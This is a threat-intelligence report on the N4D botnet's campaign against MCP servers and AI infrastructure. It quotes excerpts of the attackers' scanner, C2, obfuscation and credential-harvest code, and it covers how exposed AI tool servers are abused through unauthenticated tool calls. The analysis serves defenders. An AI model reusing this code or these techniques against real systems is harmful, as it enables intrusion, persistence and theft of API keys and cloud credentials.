N4D MESH CONTROLLER

Live botnet campaign targeting AI infrastructure at scale: MCP server mass exploitation, 30+ exploit modules, 4 cloud platforms, Go binary forensic analysis

CRITICAL FINDINGS — BINARY ANALYSIS + LIVE CAMPAIGN (2026-06-29)
AI INFRASTRUCTURE
8 Dedicated AI Exploit Modules
Purpose-built attack code for LightLLM, Ray Dashboard, Jupyter, Marimo, FastGPT, Grafana Renderer, and 3 MCP server types. First documented campaign to chain AI-framework RCE (LightLLM CVE-2026-26220, Marimo CVE-2026-39987) with autonomous botnet propagation via MCP dangerous-tool calls.
GO BINARY
170+ Named Functions in Debug Build
Complete forensic reconstruction from n4d_debug (7.3 MB, Jun 26). Catalog includes 20+ probe functions, 30+ deploy/exploit modules, 5 persistence installers, and a score-based honeypot detection engine.
EXPLOIT SCOPE
30+ Service-Specific Attack Modules
Postgres COPY TO PROGRAM, MySQL outfile cron, Redis CONFIG SET, Docker socket escape, Kubernetes etcd pod injection, Log4Shell, Spring Gateway RCE, WebLogic JNDI, Superset pickle deserialization, Jenkins script console.
PERSISTENCE
5 Independent Persistence Mechanisms
Every compromised host receives all five simultaneously: installPersistence (cron.d), installBashrc, installSystemd, installSSHKey (~/.ssh/authorized_keys), installWatchdog. Plus /etc/profile.d/sys_alias.sh.
C2 CAPABILITY
Interactive WebSocket PTY + CF Tunnel
Operators access live shells via /api/pty WebSocket in the C2 panel. Agents establish outbound Cloudflare Quick Tunnels (*.trycloudflare.com) — anonymous, no domain registration, TLS signed by Cloudflare CA.
STEALTH
Active Anti-Forensics + HP Detection
cleanupTraces, setProcName (kernel worker masquerade), stealthRST (no connection logs), randomized delays and User-Agents. Score-based honeypot blacklist shared across the fleet.
30+exploit
modules
8AI platform
targets
5persistence
mechanisms
170+Go functions
in binary
4architectures
amd64/arm/386

01. Executive Overview

Initial server and malware samples provided by MalwareHunterTeam. Investigation, AI-assisted analysis, validation, and technical documentation by 1ZRR4H. TLP:WHITE — Public disclosure, no restrictions.

The open directory exposed the complete operational toolkit of a live botnet campaign: four generations of MCP scanners, a polymorphic Python agent builder, both C2 controller versions, an attack chain planner, AWS post-exploitation scripts, and a Go binary (n4d_debug) left with debug symbols intact. That binary exposed 170+ named functions and the full exploit arsenal. The C2 API running on port 8443 was reachable during the investigation, and its credential endpoint in v3.1 required no authentication.

The campaign's primary target is AI infrastructure. The threat actor built eight dedicated exploit modules for AI compute platforms: LightLLM, Ray Dashboard, Jupyter, Marimo, FastGPT, Grafana Renderer, and three MCP server types. These sit alongside the standard botnet arsenal of database RCE, container escapes, and cloud credential harvesting. The entry vector is Model Context Protocol (MCP) servers: the JSON-RPC 2024-11-05 protocol that connects AI assistants to external tools. MCP carries no mandatory authentication. Exposed MCP servers that advertise execute_command or equivalent tools are silently exploited at internet scale. The agent calls those tools, harvests the results, and reports them to the C2 without any interaction from the victim.

AI operator priority: The harvest rules in pathing_engine.py explicitly prioritize OPENAI_API_KEY, ANTHROPIC_API_KEY, and AWS credentials above all other credential types. The binary analysis confirms this is not incidental. deployLightLLM, deployRayDashboard, and exploitAKSMCP are first-class exploit modules targeting the GPU compute and model API access that represent directly monetizable assets.

Critical finding: The C2 API port 8443 was reachable during the investigation. GET /api/intel on controller v3.1 required zero authentication: no token, no key, no session. A single HTTP request returned every credential the botnet had collected from its victims.

Following discovery of the exposure, the operators upgraded to controller v4.0. The new version added HMAC-SHA256 authentication on all sensitive endpoints, CDN camouflage via 302 redirect to Imperva, Cloudflare tunnel relay for agent communications, and a multi-step attack chain engine (pathing_engine.py). The full v3.1 to v4.0 transition is documented by files recovered from the open directory.

The open directory contained, at minimum:

  • Four scanner generations: mcp_scan.py, mcp_direct.py, mcp_scan_v2.py, mcp_v3.py
  • Polymorphic agent builder: build_agent.py + mesh_agent.py
  • C2 controllers: controller.py (v3.1) and controller_v4.py
  • AWS post-exploitation script: aws_enum.py + aws_validated.json
  • Attack chain planner: pathing_engine.py
  • Shell delivery script: beacon.sh
N4D campaign architecture overview

Fig. 1 - High-level campaign architecture: C2 controller dispatching CIDR scan tasks to distributed agents, with the polymorphic build pipeline and credential exfiltration pipeline.

02. Infrastructure Architecture

The C2 controller is a FastAPI application running under Uvicorn on port :8443, backed by a PostgreSQL database with eight tables. The agent fleet communicates with the controller over HMAC-authenticated HTTP in v4.0. A P2P mesh layer on port :9999 allows inter-agent communication and peer discovery, providing operational continuity if the primary controller becomes unavailable.

Controller Database Schema

PostgreSQL backs all controller state across eight tables:

TablePurposeKey Columns
nodesAgent registry and heartbeat trackingnode_id, ip, tunnel_url, version, last_seen
tasksScan task queue dispatched to agentstask_id, node_id, cidr, ports, status
resultsRaw scan output from completed taskstask_id, findings, created_at
intelExfiltrated credentials and system filesnode_id, files, env, docker, metadata
alertsHigh-value target notificationsnode_id, alert_type, detail
scanned_rangesCIDR deduplication across the fleetcidr, scanned_at, node_id
deploysBeacon and deployment logtarget_ip, target_port, status, deployed_by
chain_tasksMulti-step attack chain assignmentschain, status, current_step, node_id

Geo-Targeted CIDR Assignment

When an agent registers, the controller inspects the connecting IP and assigns scan ranges from regionally appropriate CIDRs. Chinese IP addresses receive Tencent Cloud and Alibaba Cloud ranges. All other IPs receive ranges from Hetzner, DigitalOcean, Linode, OVH, Vultr, and Contabo. This approach distributes scan traffic across cloud providers to avoid threshold-based blocking on any single ASN.

Cloudflare Tunnel Relay

Each agent registers a Cloudflare tunnel URL via POST /api/endpoint on first connection. Subsequent agent-to-C2 traffic flows through Cloudflare's infrastructure, hiding the actual C2 IP from network-layer defenders inspecting agent traffic. The controller resolves which Cloudflare URL belongs to which agent via the nodes.tunnel_url column.

Three-Port Public Entry Stack

Three separate listener processes bind the server's public interface, each proxying to the same FastAPI backend on :8443. This gives agents and operators three independent network paths to the C2, improving resilience against port-level blocking:

PortScriptProtocolFunction
:80 http_proxy.py Plain HTTP Forwards to :8443; used as third-priority fallback in beacon.sh when HTTPS is unavailable
:443 tls_proxy.py TLS - cdnorigin.net Terminates TLS using the cdnorigin.net certificate, then proxies plaintext to :8443; primary secure entry
:8443 controller_v4.py Plain HTTP (FastAPI) Direct C2 API; all authenticated agent endpoints; the canonical backend for all three entry points

CDN Front Domain - cdnorigin.net

The TLS proxy on port 443 presents a certificate issued to CN=cdnorigin.net - a domain registered specifically for this operation to add apparent legitimacy. The certificate is self-signed with an RSA-2048 key pair and carries a 10-year validity window (issued 2026-06-26, expires 2036-06-23). Agents using the curl download fallback with -k skip certificate validation entirely, so the domain name serves primarily to make TLS traffic appear to originate from a CDN origin rather than a raw IP.

The private key for this certificate (cf-key.pem) was present in the exposed open directory and has been fully redacted from this report. Its exposure means any observer of TLS traffic to port 443 can decrypt it retroactively. See Section 14 for full OpSec failure analysis.

Three-port C2 entry stack and CDN front architecture

Fig. 2 - The three-port C2 entry stack: tls_proxy.py on :443 (cdnorigin.net TLS, private key exposed), http_proxy.py on :80 (plain forward), and controller_v4.py on :8443 (direct FastAPI). All proxy to the same backend. Non-API requests receive a 302 redirect to imperva.com for CDN camouflage.

03. Why AI Tooling Is the Target

The Model Context Protocol (MCP) - specified at protocol version 2024-11-05 - is a JSON-RPC standard that lets AI assistants communicate with external tool servers. An AI assistant configured with an MCP server can call tools to run code, read files, query databases, invoke cloud APIs, and more. The spec places no authentication requirement at the transport layer. Server implementors are entirely responsible for access control.

In practice, thousands of MCP servers run on public IP addresses with no authentication. Developers deploy them during experimentation; CI systems run them for automated workflows; internal services expose them on ports that are inadvertently routed through cloud security groups left at their defaults. The protocol's tools/list method returns a machine-readable manifest of every capability a server has. This makes automated target qualification trivial: connect, enumerate, classify, and call.

No exploit required. An MCP server advertising execute_command without authentication is an unauthenticated root shell on the public internet. The attacker sends a standard JSON-RPC tools/call request. There is no vulnerability to patch. There is no CVE. The server performs exactly as designed - it just had no business being reachable from the open internet.

Dangerous Tool Classifier

Every probed server's tool list is matched against this classifier. A single match triggers immediate exploitation via tools/call:

execute_command run_command shell terminal execute eval exec subprocess call_kubectl call_az read_file write_file delete_file execute_sql run_sql read_query transfer withdraw sign deploy command query

Direct unauthenticated RCE    High-impact data / lateral movement    Context-dependent

MCP exploit sequence diagram

Fig. 3 - The MCP exploit sequence: initialize handshake, tools/list reveals execute_command, a single tools/call delivers a command, response contains root shell output.

04. Scanning Operations

Four scanner versions appear in the disclosed toolkit, each representing a development iteration within the same operational window. File timestamps from the open directory snapshot place these at least 9 hours apart, showing active tuning during live campaign execution.

VersionFileConcurrencyKey Change
v1mcp_scan.py200 workersBaseline - reads targets from stdin, single shared client
v2mcp_direct.py500 workersCIDR input mode, 14-port target list
v3mcp_scan_v2.py500 workersShared AsyncClient across workers - major throughput improvement
v4 (final)mcp_v3.py500 workersExplicit connection pool limits, 30s pool timeout, JSONL output sorted by dangerous tool count

Final Scanner Core - MCP Handshake and Dangerous Tool Classification

# mcp_v3.py - core scanner logic (abbreviated)
INIT = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "n4d-vps", "version": "1.0"}
    }
}

DANGER = {
    "execute_command", "run_command", "execute", "shell", "terminal",
    "read_file", "write_file", "delete_file", "execute_sql", "run_sql",
    "read_query", "call_kubectl", "call_az", "eval", "exec",
    "subprocess", "command", "transfer", "withdraw", "sign", "deploy"
}

async def probe_mcp(client, ip, port, path):
    url = f"http://{ip}:{port}{path}"
    r = await client.post(url, json=INIT, timeout=4)
    if r.status_code == 200 and "result" in r.json():
        tools = await list_tools(client, url)
        dangerous = [t for t in tools if any(d in t.lower() for d in DANGER)]
        if dangerous:
            await exploit_dangerous(client, url, dangerous)

v4.0 Port Expansion

Controller v4.0 doubles the port scope from 8 to 16 targets per host, adding infrastructure management surfaces that go far beyond MCP:

# v3.1 - 8 ports
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888"

# v4.0 - 16 ports: added Docker, Kubernetes, Redis, PostgreSQL, Elasticsearch
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888,2375,2376,6379,5432,6443,10250,9090,9200"

Docker daemon on :2375 (unauthenticated by default), the Kubernetes API on :6443, kubelet on :10250, and Redis on :6379 are each independently capable of yielding full cluster control with no credentials. The operation expanded its target surface from "exposed AI tool endpoints" to "any exposed infrastructure management interface."

Operation timeline

Fig. 4 - Operation timeline - 9+ hours of continuous scanning documented from the open directory snapshot, showing scanner iterations and operational evolution.

05. The Critical OpSec Failure: Unauthenticated Intel API

The most consequential finding in this investigation is not what the botnet did to its victims. It is what the operators left exposed about themselves. The C2 API on port 8443 was reachable. In controller v3.1, the credential endpoint required no authentication whatsoever. A direct HTTP request returned the complete harvest database.

The Unauthenticated Endpoint - v3.1 Source

# controller.py (v3.1) - THE EXPOSED VERSION
@app.get("/api/intel")
async def get_intel():
    with db() as c:
        cur = c.cursor()
        cur.execute(
            "SELECT node_id, files, env, docker, metadata, created_at "
            "FROM intel ORDER BY created_at DESC LIMIT 50"
        )
        cols = [d[0] for d in cur.description]
        return {"intel": [dict(zip(cols, row)) for row in cur.fetchall()]}

No authentication decorator. No middleware. No API key check. Anyone who could reach port 8443 could dump every credential the botnet had ever collected. This endpoint produced the credential dataset analyzed in §06.

The POST Endpoint Was Equally Open

The intel submission endpoint, the one agents call to exfiltrate credentials, was also unauthenticated in v3.1. Any host on the internet could submit arbitrary credential data to the botnet's database. Any host could also read back everything submitted. The entire intel pipeline was unauthenticated.

API exposure diagram

Fig. 5 - The unauthenticated /api/intel endpoint in v3.1: both GET (credential dump) and POST (credential submission) required no authentication token of any kind.

06. Credential Harvest: Contents of GET /api/intel

The intel API response is a JSON array. Each record represents one compromised host and the material submitted by that host's agent. All actual values in this report are replaced with [REDACTED]. The following describes the structure and types of data present.

First-Wave Harvest Results — credential and access types recovered from the initial exploitation wave:
46 /etc/shadow files 21 backdoored authorized_keys 6 SSH private keys 5 Azure ARM bearer tokens 6 AWS IAM sets (3 accounts) 18 Docker socket paths 9 env var secrets

System Credentials - files Field

Each record's files field is a dictionary mapping file paths to their verbatim contents as exfiltrated from the compromised host:

File PathContent TypeHash FormatStatus
/etc/shadow Linux shadow password database $y$ (yescrypt), $6$ (SHA-512) [REDACTED]
/root/.ssh/id_rsa RSA private key (PEM format) -----BEGIN RSA PRIVATE KEY----- [REDACTED]
/root/.ssh/authorized_keys Attacker-inserted backdoor public key Comment field: test [REDACTED]

The intel database contains 100 total records, of which 98 carry substantive data. Credential type distribution across the dataset:

Credential / Data TypeRecordsNotes
/etc/shadow captured4615 with root password hash; 31 with root locked
authorized_keys modified21Backdoor key inserted; see key comment breakdown below
Nodes with Docker present18Enables container escape paths
Azure Managed Identity tokens5Azure RM Bearer tokens from IMDS (169.254.169.254)
SSH private keys (/root/.ssh/id_rsa)6[REDACTED]
Environment variables with secrets9Includes NGINX_UI_PREDEFINED_USER_PASSWORD, MYSQL_ROOT_PASSWORD, UPDATE_SERVICE_API_KEY
AWS IAM credential sets (aws_validated.json)63 distinct AWS accounts; validated live via STS GetCallerIdentity by aws_enum.py

The backdoor SSH key in authorized_keys is not a single key — the agent inserts keys from a pool with nine distinct comment strings across the 21 backdoored hosts:

Key CommentCountAssessment
auto-backdoor21Agent-generated key — automated, campaign-wide
test6Generic operator key
u0_a599@localhost3Android app UID format — suggests connection from Android (Termux or similar)
admin@mm2Short generic hostname
hype2Operator handle or generic label
jan@mac1Low-confidence attribution indicator — personal Mac username
root@proxmox1Proxmox host — likely compromised relay node
good@gooddeMacBook-Pro.local1Low-confidence attribution indicator — personal Mac with operator username good
evincent@ev-mac.lan1Low-confidence attribution indicator — Mac on private LAN; username evincent also appears in one captured /etc/shadow
(no comment)1

Potential attribution indicators — low confidence. The key comments evincent@ev-mac.lan, good@gooddeMacBook-Pro.local, jan@mac, and u0_a599@localhost (Android) each appear on only one or three compromised hosts. They could represent operator personal keys used for direct SSH access, keys propagated from other compromised machines, or keys shared among team members. The username evincent appearing in a captured /etc/shadow on one of the same nodes where the evincent@ev-mac.lan key was inserted warrants further investigation, but is not treated as confirmed attribution in this report. These indicators should be correlated with any future attribution evidence.

Cloud Credentials - metadata Field

The metadata field contains JSON where each key is the name of an MCP tool that the agent called, and the value is the verbatim JSON response that tool returned. This directly maps MCP tool exploitation to credential type:

MCP Tool CalledCredential TypeExample FieldsValue
get_aws_admin_credentials AWS long-term IAM key AccessKeyId, SecretAccessKey [REDACTED]
get_aws_session_credentials AWS STS temporary token AccessKeyId (ASIA...), SecretAccessKey, SessionToken [REDACTED]
get_ssh_session_credentials EC2 SSH plaintext password username: ec2-user, password [REDACTED]

Azure Managed Identity Tokens

Several records contain full Azure Resource Manager Bearer tokens obtained from the Azure Instance Metadata Service (IMDS) at 169.254.169.254. The decoded JWT claims identify the source VM precisely:

JWT ClaimValueImplication
aud https://management.azure.com/ Full Azure Resource Manager scope
idtyp app Machine identity (Managed Identity), not a user token
xms_mirid /subscriptions/[REDACTED]/resourceGroups/[REDACTED]/providers/Microsoft.Compute/virtualMachines/[REDACTED] Exact source VM path fully identified
exp iat + 24h Token valid 24 hours; three successive entries ~10h apart indicate auto-refresh by agent

Three JWT entries for the same node appear with issue times roughly 10 hours apart. The agent refreshes the token before its 24-hour expiry, maintaining persistent Azure management plane access without any additional exploitation step.

Six AWS credential records across three distinct AWS accounts appear in aws_validated.json (validated separately from the intel API via aws_enum.py, confirmed live via STS GetCallerIdentity). IAM usernames present: admin-old, svc-backup, svc-ansible, payroll-svc, legacy-service. All credential values are [REDACTED]. Source IPs correspond to cloud VMs (previously compromised MCP servers) and are likewise redacted. Note: the intel API metadata field stores Azure tokens directly; AWS credentials were harvested via a separate validation pipeline rather than via MCP tool calls.

Credential harvest diagram

Fig. 6 - Intel API record structure: the chain from MCP tool call to credential type stored in the intel database.

07. v3.1 to v4.0 Hardening: An Operational Response

Controller v4.0 is not a routine feature release. Every substantive change it introduces directly addresses the specific failure that led to the credential database exposure. The diff between the two controllers, both present in the open directory, reads as a forensic record of what the operators realized they had done wrong.

HMAC Authentication Added

# controller_v4.py - lines 53-70
MESH_KEY = bytes.fromhex("[REDACTED - 32-byte HMAC key]")
OPERATOR_KEY = os.environ.get("N4D_OP_KEY", "[REDACTED]")

def verify_bot_auth(req: Request) -> bool:
    """Verify HMAC-SHA256(mesh_key, node_id + timestamp) in X-Mesh-Auth header."""
    token = req.headers.get("X-Mesh-Auth", "")
    if not token or ":" not in token:
        return False
    nid, sig_hex = token.split(":", 1)
    # Accept +-1 second window - bot generates HMAC at request time
    now = int(time.time())
    for ts in [now, now - 1, now + 1]:
        expected = hmac.new(
            MESH_KEY,
            f"{nid}:{ts}".encode(),
            hashlib.sha256
        ).hexdigest()
        if hmac.compare_digest(expected, sig_hex):
            return True
    return False

Authentication Middleware

# controller_v4.py - lines 82-107
OPEN_ENDPOINTS = {
    "/api/client/update", "/api/status", "/api/agent/binary",
    "/api/register", "/api/agent/download", "/api/beacon",
    "/api/update/check", "/api/update/canary", "/api/update/health"
}
# /api/intel, /api/chains, /api/stats require operator key
OPERATOR_ENDPOINTS = {"/api/intel", "/api/chains", "/api/stats"}

@app.middleware("http")
async def auth_middleware(req: Request, call_next):
    path = req.url.path
    if not path.startswith("/api/"):
        return await call_next(req)
    if path in OPEN_ENDPOINTS:
        return await call_next(req)
    if path in OPERATOR_ENDPOINTS and req.method == "GET":
        if verify_operator_auth(req):
            return await call_next(req)
        return JSONResponse({"error": "unauthorized"}, status_code=401)
    if verify_bot_auth(req):
        return await call_next(req)
    return JSONResponse({"error": "unauthorized"}, status_code=401)

Backward-Compatible Bootstrap

The OPEN_ENDPOINTS set includes /api/client/update and /api/agent/download. Old bots running v3.1 - without any HMAC capability - can still reach these endpoints without authentication and download the v4.0 binary with HMAC baked in. The update system bootstraps the entire fleet to authenticated operation without losing a single node.

The v3.1 to v4.0 upgrade is not a routine patch. It is a direct operational response to having their entire credential database exposed. The OPEN_ENDPOINTS list was carefully designed to maintain continuity - the update channel stays open -- while locking down everything sensitive. The operators understood exactly which endpoints had caused the exposure and addressed each one.

08. CDN Camouflage

Controller v4.0 adds a middleware layer that redirects all non-API traffic to a legitimate CDN company. The intent is to make the C2 server appear to be a CDN origin when visited by browsers, crawlers, or security researchers.

# controller_v4.py - lines 235-247
# ===== CDN CAMOUFLAGE =====
# Non-API traffic (browser visits, crawlers) gets redirected to a real CDN company.
# Makes the domain look like a boring CDN origin server, not a C2 controller.
@app.middleware("http")
async def camouflage_middleware(req: Request, call_next):
    path = req.url.path
    if path.startswith("/api/"):
        return await call_next(req)
    if path == "/robots.txt":
        return PlainTextResponse(
            "User-agent: *\nDisallow: /\n", media_type="text/plain"
        )
    # Everything else - redirect to real CDN company
    return RedirectResponse("https://www.imperva.com/", status_code=302)

The layered effect is as follows: a browser or automated scanner visiting the IP receives a 302 redirect to Imperva's homepage, making the server appear to be a CDN origin. The robots.txt response ("Disallow: /") is consistent with what a CDN origin would return to prevent search engines from indexing it. API paths bypass the redirect entirely, requiring an attacker to know the /api/ prefix.

Combined with the Cloudflare tunnel relay - where agents connect via Cloudflare-issued URLs rather than the raw C2 IP - the infrastructure presents a minimal footprint on threat intelligence feeds. Network-layer defenders inspecting agent traffic see only Cloudflare IP ranges; defenders probing the C2 IP directly see only a CDN 302 redirect.

The cdnorigin.net domain compounds this effect. When TLS traffic to port 443 is inspected at the SNI layer, the server name cdnorigin.net reads as a plausible CDN origin hostname. The domain name was chosen to blend into traffic analysis tooling that correlates SNI values against known CDN provider domains.

09. Attack Chain Engine

Controller v4.0 introduces a capability that v3.1 entirely lacked: automated multi-step attack sequencing. The pathing_engine.py script - present in the open directory - analyzes the results database and generates "chains": ordered sequences of exploitation steps that agents execute one at a time.

Chain Dispatch - Security-Aware Design

# controller_v4.py - chain_row dispatch section
# SECURITY: Only send ONE step at a time to bot - never reveal full chain
# SECURITY: Only trusted bots (active >1h, >10 tasks) get chain tasks
bot_task_count = cur.fetchone()[0]
bot_age = time.time() - (node_row[0] or time.time())
is_trusted = bot_task_count >= 10 and bot_age > 3600

# ... (assign chain_task to trusted bot)

if chain_row:
    chain_id, chain_data, step_idx = chain_row
    steps = chain_data.get("steps", [])
    step = steps[step_idx]
    print(
        f"[AUDIT] chain_step_dispatch id={chain_id} "
        f"step={step_idx}/{len(steps)} bot={nid} "
        f"exploit={step.get('exploit','?')} "
        f"target={step.get('target','?')}",
        flush=True
    )
    return {
        "task_id": ...,
        "chain_task": {
            "id": chain_id,
            "step": step_idx,
            "total_steps": len(steps),
            "exploit": step.get("exploit"),
            "target": step.get("target"),
            "deploy_cmd": step.get("deploy_cmd")
        }
    }

Chain Refresh Endpoint

@app.post("/api/chains/refresh")
async def refresh_chains():
    """Re-run the pathing engine with latest findings and populate chain_tasks."""
    result = subprocess.run(
        [".venv/bin/python", "pathing_engine.py", "--db", "--json"],
        capture_output=True, text=True, timeout=120, cwd="/opt/scanner"
    )
    tasks = json.loads(result.stdout.strip().split("\n")[-1])
    for task in tasks:
        chain_sig = json.dumps(task.get("steps", []), sort_keys=True)
        cur.execute(
            "INSERT INTO chain_tasks (chain, status, created_at) "
            "VALUES (%s, 'pending', %s)",
            (json.dumps(task), time.time())
        )

Chain Trust and Safety Mechanics

  • Each bot receives exactly one step at a time. The full chain is never sent to any single agent.
  • A bot must complete at least 10 scan tasks AND maintain connectivity for 1+ hour before receiving chain assignments.
  • Targets that fail 3 or more consecutive steps are automatically blacklisted from that chain.
  • Step results are submitted via POST /api/chains/result/{nid}; the controller advances the chain or marks it failed.
  • Full audit logging on every chain step dispatch: chain ID, step index, exploit type, and target IP are written to the controller log.

The presence of pathing_engine.py marks a significant capability escalation. This operation moved from "opportunistic MCP scanning" to "automated multi-step lateral movement planning." The chain engine generates sequences like: scan - find exposed tool - execute command - harvest credentials - deploy agent - scan adjacent networks. Each compromised host becomes a planned stepping stone, not just an incidental victim.

Attack chain engine architecture

Fig. 7 - The v4.0 attack chain engine: pathing_engine.py reads the results database, builds multi-step exploitation chains, and dispatches one step at a time to trusted bots. No single agent ever sees the full plan.

Exploit Template Registry - 21 Templates

pathing_engine.py ships with 21 pre-built exploit templates organized into four categories. Each template declares the capability it requires, the capability it provides, reliability and severity metadata, and a deploy_cmd identifier that the agent translates into actual shellcode.

CategoryTemplateRequiresProvidesReliability
MCP 0-day dbhub_unauth_sql network_access sql_read + sql_write 0.70
mysql_streamable_unauth network_access sql_read + sql_write 0.65
aks_mcp_unauth network_access k8s_admin 0.60
mcp_shell_exec network_access shell_exec 0.80
mcp_file_read network_access file_read 0.85
SQL - RCE sql_to_pg_rce sql_write (pg) shell_exec via pg_copy_to_program 0.60
sql_to_mysql_rce sql_write (mysql) shell_exec via outfile + cron 0.40
creds_to_redis / redis_cron_rce creds:redis / redis_access redis_access / shell_exec 0.80 / 0.50
creds_to_ssh creds:ssh shell_exec 0.70
CVE jenkins_cli_rce network_access (port 8080) shell_exec 0.65
docker_api_rce network_access (port 2375/2376) shell_exec 0.85
rclone_rcd_rce network_access (port 5572) shell_exec 0.70
weblogic_console_rce network_access (port 7001) shell_exec 0.55
Lateral shell_to_container_escape shell_exec shell_exec (host) 0.50
k8s_to_pod_exec k8s_admin shell_exec 0.60
creds_to_azure creds:azure cloud_access (azure) 0.65

Chain Scoring Formula

Attack chains are ranked by a composite score that weighs severity, end-state value, reliability across all steps, and path length. Shorter paths to high-value end states are preferred:

# pathing_engine.py - AttackChain.score property
score = (max_severity + end_bonus) * reliability * 0.85 ** depth

# end_bonus values (capability type → bonus points):
# shell_exec  → +5    (arbitrary code execution confirmed)
# k8s_admin   → +5    (full Kubernetes cluster control)
# cloud_access → +8   (highest bonus: cloud account takeover)
# creds        → +2   (credential harvest, enables further chaining)

# reliability = product of all step reliabilities in the chain
# depth penalty: 0.85^depth = 0.72 at 2 steps, 0.61 at 3 steps, 0.52 at 4 steps

The depth penalty (0.85 per step) means a two-step chain scoring 7.0 outranks a three-step chain scoring 8.5 in raw capability terms if the three-step path's reliability product drops enough. This drives the engine toward direct, high-confidence routes rather than elaborate chains with multiple low-reliability steps.

Credential Harvest Rules - AI API Keys Explicitly Targeted

Separate from the exploit templates, pathing_engine.py defines a set of harvest rules that extract credentials from exploit output via regex. Two rules are particularly notable: env_vars and env_file both explicitly target OPENAI_API_KEY and ANTHROPIC_API_KEY in addition to cloud and database credentials:

# pathing_engine.py - build_harvest_rules()
rules["env_vars"] = HarvestRule(
    trigger_type="shell_exec",
    patterns=[
        r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|'
        r'AWS_SECRET_ACCESS_KEY|GOOGLE_API_KEY|STRIPE_API_KEY)\s*=\s*([^\s]+)',
        r'(?:DATABASE_URL|REDIS_URL)\s*=\s*([^\s]+)',
    ],
    produces={"type": "creds", "target": "api:{extracted}"},
)

rules["env_file"] = HarvestRule(  # fires on file_read (e.g. .env files)
    trigger_type="file_read",
    patterns=[  # same patterns + mongodb + password fallback
        r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|...)\s*=\s*([^\s]+)',
    ],
    produces={"type": "creds", "target": "api:{extracted}"},
)

# Additional rules harvest:
#   sql_config_table → MySQL/JDBC connection strings from config tables
#   sql_user_hashes  → bcrypt, MD5, SHA1 password hashes from sql_read output
#   k8s_secrets      → DATADOG_API_KEY, AZURE_CLIENT_SECRET from Kubernetes secrets
#   ssh_keys         → PEM private key blocks from file_read output
#   nginx_ui_*       → nginx-ui node secrets for authenticated PTY access

AI API key harvesting is a first-class objective, not an afterthought. MCP servers - the primary scan target - are overwhelmingly deployed by AI application developers who routinely set OPENAI_API_KEY and ANTHROPIC_API_KEY in their environment. A single shell_exec on an MCP host yields these keys automatically, without any additional attacker action.

10. Polymorphic Agent Build Pipeline

build_agent.py takes the canonical agent source (mesh_agent.py) and transforms it through 8 AST and bytecode stages, producing a unique binary on every build. Two downloads of the agent at the same second will produce binaries with different file hashes, different identifier names, different string encodings, different function ordering, and different blob compression. File hash and static YARA string-matching are both defeated without behavioral rules.

Eight Build Stages

1
Dead Code Removal
AST traversal strips all docstrings, comments, and print() calls to reduce the surface area available to pattern-matching before obfuscation begins.
2
Identifier Renaming
Approximately 40 sensitive identifiers - MESH_KEY, AGENT_VERSION, CONTROLLER, AUTH_PUB_HEX, CACHED_CIDRS, scan_cidr, verify_signature, PeerHandler, and others - are replaced with randomly generated 8-character opaque strings. New names are generated per build from a fresh random seed.
3
XOR String Encoding
A tokenizer pass identifies string literals matching 22 sensitive patterns: IP addresses, CIDR notation, path prefixes like /dev/shm/, protocol keywords like n4d, and API paths. Each matching constant is XOR-encoded with a per-build random 16-byte key and replaced with an inline decoder expression.
4
Function Order Shuffle
Top-level function definitions are extracted from the AST and reinserted in cryptographically random order. Runtime semantics are preserved because Python resolves function names at call time, not definition time.
5
No-Op Code Injection
Decoy statements (_=0, if 0:pass, _=len("")) are injected at roughly 1.5% probability per eligible line boundary. These contribute to hash uniqueness and slightly inflate disassembly length.
6
Compile Verification
The transformed source is passed through Python's compile() to catch any syntax errors introduced by the transformation stages before committing to the next stage.
7
Compress and Blob Encode
Random compression algorithm (zlib level 9, bz2 level 9, or no compression), followed by a randomly chosen XOR variant: plain XOR, XOR then byte rotation, or XOR of the reversed byte sequence. Both choices are baked into the output loader.
8
Randomized Loader Stub
A minimal Python loader with randomized variable names decodes the blob and exec()s it at runtime. Three anti-analysis features execute in randomized order: self-deletion (os.unlink(sys.argv[0])), anti-debug (reads /proc/self/status, exits if TracerPid != 0), and output suppression (sys.stdout = open("/dev/null","w")).

XOR Encoding - Runtime Decoder Generation

# build_agent.py - per-build XOR encoding (abbreviated)
XOR_KEY = os.urandom(16)  # 16 random bytes per build

def xor_encode(data: bytes) -> bytes:
    key = XOR_KEY
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

# String encoding in AST transformer
def encode_string(s: str) -> ast.expr:
    raw = s.encode()
    enc = xor_encode(raw)
    # Generate: bytes([...]).decode() using XOR at runtime
    return ast.parse(
        f"bytes(b ^ {XOR_KEY}[i % {len(XOR_KEY)}] "
        f"for i, b in enumerate({list(enc)})).decode()",
        mode='eval'
    ).body

Every call to GET /api/agent/download triggers a fresh build. Two downloads of the agent at the same second produce binaries with different hashes, different identifier names, different string encodings, and different function orders. File hash and YARA string-matching are both ineffective against this pipeline without behavioral detection rules targeting the anti-analysis patterns at runtime.

Polymorphic build pipeline diagram

Fig. 8 - The eight-stage polymorphic build pipeline: each output binary has a unique hash, unique identifier names, unique string encoding, and unique function order.

11. AWS Post-Exploitation

Once credentials appear in the intel database, aws_enum.py processes them to enumerate the AWS attack surface of each compromised account. Six credential pairs from three distinct AWS accounts appear in aws_validated.json - all values [REDACTED]. IAM usernames identified: admin-old, svc-backup, svc-ansible, payroll-svc, legacy-service.

Privilege Escalation Probe

The script includes a specific test for iam:CreateAccessKey permission, which would allow creating new long-term credentials independent of the original compromised key:

# aws_enum.py - privilege escalation test (abbreviated)
new_keys = iam.create_access_key(UserName=user)
if new_keys:
    print("*** CAN CREATE NEW ACCESS KEYS (persistent access) ***")
    # Creates then immediately deletes - tests the permission without leaving an artifact
    iam.delete_access_key(
        UserName=user,
        AccessKeyId=new_keys['AccessKey']['AccessKeyId']
    )

Creating and immediately deleting a key tests the permission without leaving a persistent artifact in the IAM console's access key list.

Enumeration Scope

AWS ServiceData CollectedRisk
IAMUsers, groups, attached policies, policy documents; wildcard (Action: "*") policy detectionCreateAccessKey escalation probe
S3All bucket names; object listing in deep modeData exfiltration
EC2All instances across 12 regions: us-east-1/2, us-west-1/2, eu-west-1/2, eu-central-1, ap-south-1, ap-northeast-1, ap-southeast-1, ca-central-1, sa-east-1Lateral movement
